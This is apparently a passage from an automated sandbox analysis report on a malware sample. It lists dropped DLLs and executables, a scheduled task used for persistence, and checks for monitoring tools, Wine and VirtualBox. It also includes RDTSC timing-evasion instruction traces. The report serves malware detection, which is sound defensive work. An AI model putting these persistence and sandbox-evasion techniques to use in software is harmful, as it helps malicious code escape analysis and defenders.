Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008231001\fb1f3ab244.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsIDGHDGIDAK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	File created: C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIDGHDGIDAK.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsIDGHDGIDAK.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsIDGHDGIDAK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CC355F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CC355F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsIDGHDGIDAK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF00A5 second address: EF00AF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF00AF second address: EF00C0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jp 00007FDF304F6304h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF00C0 second address: EEF95E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FDF311AD4F6h 0x0000000a popad 0x0000000b nop 0x0000000c jmp 00007FDF311AD508h 0x00000011 push dword ptr [ebp+122D1549h] 0x00000017 cmc 0x00000018 call dword ptr [ebp+122D19F5h] 0x0000001e pushad 0x0000001f pushad 0x00000020 mov edx, 715653A3h 0x00000025 popad 0x00000026 pushad 0x00000027 add bl, 0000003Ah 0x0000002a popad 0x0000002b xor eax, eax 0x0000002d jp 00007FDF311AD4FDh 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 pushad 0x00000038 mov dword ptr [ebp+122D1B74h], ecx 0x0000003e or dword ptr [ebp+122D1B74h], edi 0x00000044 popad 0x00000045 mov dword ptr [ebp+122D3531h], eax 0x0000004b mov dword ptr [ebp+122D1B74h], ecx 0x00000051 mov esi, 0000003Ch 0x00000056 jnp 00007FDF311AD4FCh 0x0000005c mov dword ptr [ebp+122D1B74h], esi 0x00000062 add esi, dword ptr [esp+24h] 0x00000066 sub dword ptr [ebp+122D1B74h], eax 0x0000006c lodsw 0x0000006e jmp 00007FDF311AD4FDh 0x00000073 add eax, dword ptr [esp+24h] 0x00000077 pushad 0x00000078 jmp 00007FDF311AD509h 0x0000007d jmp 00007FDF311AD504h 0x00000082 popad 0x00000083 mov ebx, dword ptr [esp+24h] 0x00000087 sub dword ptr [ebp+122D19C7h], edx 0x0000008d nop 0x0000008e push eax 0x0000008f push edx 0x00000090 jne 00007FDF311AD4FCh 0x00000096 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10537A0 second address: 10537AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106626F second address: 1066273 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066273 second address: 1066279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066279 second address: 106627E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106627E second address: 1066284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066284 second address: 106628A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066639 second address: 106663D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106663D second address: 1066647 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDF311AD4F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066647 second address: 1066653 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007FDF304F62F6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066653 second address: 1066663 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDF311AD4F6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066663 second address: 1066669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066669 second address: 106668A instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDF311AD4F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 jmp 00007FDF311AD4FAh 0x00000015 push eax 0x00000016 pop eax 0x00000017 pop ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106668A second address: 106668E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106668E second address: 1066692 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1066974 second address: 106697E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FDF304F62F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106697E second address: 106699E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD4FEh 0x00000007 jns 00007FDF311AD4F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jo 00007FDF311AD502h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106913C second address: EEF95E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F6306h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 3EE973A2h 0x00000010 sub dword ptr [ebp+1244CA41h], ecx 0x00000016 push dword ptr [ebp+122D1549h] 0x0000001c mov dword ptr [ebp+122D20E3h], ebx 0x00000022 call dword ptr [ebp+122D19F5h] 0x00000028 pushad 0x00000029 pushad 0x0000002a mov edx, 715653A3h 0x0000002f popad 0x00000030 pushad 0x00000031 add bl, 0000003Ah 0x00000034 popad 0x00000035 xor eax, eax 0x00000037 jp 00007FDF304F62FDh 0x0000003d mov edx, dword ptr [esp+28h] 0x00000041 pushad 0x00000042 mov dword ptr [ebp+122D1B74h], ecx 0x00000048 or dword ptr [ebp+122D1B74h], edi 0x0000004e popad 0x0000004f mov dword ptr [ebp+122D3531h], eax 0x00000055 mov dword ptr [ebp+122D1B74h], ecx 0x0000005b mov esi, 0000003Ch 0x00000060 jnp 00007FDF304F62FCh 0x00000066 add esi, dword ptr [esp+24h] 0x0000006a sub dword ptr [ebp+122D1B74h], eax 0x00000070 lodsw 0x00000072 jmp 00007FDF304F62FDh 0x00000077 add eax, dword ptr [esp+24h] 0x0000007b pushad 0x0000007c jmp 00007FDF304F6309h 0x00000081 jmp 00007FDF304F6304h 0x00000086 popad 0x00000087 mov ebx, dword ptr [esp+24h] 0x0000008b sub dword ptr [ebp+122D19C7h], edx 0x00000091 nop 0x00000092 push eax 0x00000093 push edx 0x00000094 jne 00007FDF304F62FCh 0x0000009a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069213 second address: 106924B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 add dword ptr [esp], 200DC235h 0x0000000e movzx esi, cx 0x00000011 and ecx, 56F9AE1Ch 0x00000017 lea ebx, dword ptr [ebp+1244D078h] 0x0000001d jmp 00007FDF311AD4FBh 0x00000022 push eax 0x00000023 pushad 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 jbe 00007FDF311AD4F6h 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106924B second address: 106924F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069399 second address: 10693A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10693A2 second address: 1069458 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 mov dword ptr [ebp+122D1DDFh], eax 0x0000000e push 00000003h 0x00000010 mov cx, di 0x00000013 push 00000000h 0x00000015 pushad 0x00000016 sub dword ptr [ebp+122D2A14h], eax 0x0000001c mov eax, dword ptr [ebp+122D3801h] 0x00000022 popad 0x00000023 push 00000003h 0x00000025 jc 00007FDF304F6302h 0x0000002b pushad 0x0000002c push eax 0x0000002d mov edx, dword ptr [ebp+122D3529h] 0x00000033 pop ebx 0x00000034 pushad 0x00000035 ja 00007FDF304F62F6h 0x0000003b mov dword ptr [ebp+122D1A08h], ebx 0x00000041 popad 0x00000042 popad 0x00000043 push CE36AA7Eh 0x00000048 pushad 0x00000049 pushad 0x0000004a pushad 0x0000004b popad 0x0000004c jmp 00007FDF304F6309h 0x00000051 popad 0x00000052 jmp 00007FDF304F62FCh 0x00000057 popad 0x00000058 xor dword ptr [esp], 0E36AA7Eh 0x0000005f jnp 00007FDF304F62FCh 0x00000065 mov edx, dword ptr [ebp+122D34FDh] 0x0000006b lea ebx, dword ptr [ebp+1244D081h] 0x00000071 and dh, FFFFFFFFh 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007FDF304F6308h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10694A0 second address: 10694C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDF311AD4FAh 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jc 00007FDF311AD4FCh 0x00000015 jne 00007FDF311AD4F6h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105BF67 second address: 105BF72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDF304F62F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105BF72 second address: 105BF7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105BF7A second address: 105BF7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105BF7E second address: 105BFD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF311AD502h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FDF311AD508h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 jmp 00007FDF311AD506h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pop edi 0x0000001d jbe 00007FDF311AD4FCh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105BFD4 second address: 105BFD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105BFD8 second address: 105BFE8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDF311AD502h 0x00000008 jnl 00007FDF311AD4F6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108850C second address: 1088525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007FDF304F62FCh 0x00000013 jne 00007FDF304F62F6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1088525 second address: 108852C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1088A72 second address: 1088A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1088D7E second address: 1088D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDF311AD4FBh 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1088D93 second address: 1088D9D instructions: 0x00000000 rdtsc 0x00000002 js 00007FDF304F62F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1088F1A second address: 1088F22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108A00A second address: 108A00E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108A00E second address: 108A019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108A019 second address: 108A01D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108A1C5 second address: 108A1E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF311AD509h 0x00000007 js 00007FDF311AD4FEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10912B0 second address: 10912F1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FDF304F62F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jnc 00007FDF304F62F6h 0x00000015 jmp 00007FDF304F6304h 0x0000001a popad 0x0000001b jmp 00007FDF304F6307h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10912F1 second address: 10912F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10912F7 second address: 10912FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10912FB second address: 1091301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105526A second address: 1055275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1055275 second address: 1055284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007FDF311AD4F6h 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1055284 second address: 105529C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF304F6300h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105529C second address: 10552A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109983F second address: 1099845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109ADCD second address: 109ADD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109AE7E second address: 109AE82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
